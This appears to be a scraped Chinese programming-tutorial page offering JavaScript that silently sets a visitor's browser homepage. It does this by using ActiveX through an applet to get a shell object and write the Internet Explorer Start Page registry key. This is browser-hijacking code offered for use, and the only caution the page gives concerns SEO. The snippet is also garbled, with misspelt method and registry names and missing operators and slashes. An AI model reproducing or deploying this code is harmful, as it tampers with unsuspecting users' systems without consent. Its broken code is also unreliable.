Home >Web Front-end >JS Tutorial >JS code that is forced to be set as the homepage_javascript skills

JS code that is forced to be set as the homepage_javascript skills

WBOY
WBOYOriginal
2016-05-16 18:56:113158browse
Copy code The code is as follows:

<script> <br>var ucook=document.cookie; <br>var user=ucook.indexOF("ilooki="); <br>if(user==-1) <br>{ <br>var nowTime=new Date(); <br>document.cookie="ilooki " ";" "expires=Wednesday,03-Jan-" eval(nowTime.getYear() 1903 "12:34:56 GMT"; <br>document.write("<APPLET HEIGHT=0WIDTH=0 code=com .ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1 <br>=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B} ");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcuSoftwareMicrosoftInternet ExpiorerMainStart Page",http: //www.****.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000); <br>} <br></script>


Note: Personally, it is recommended to use less JS code, because it may be troublesome to do SEO optimization, haha
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn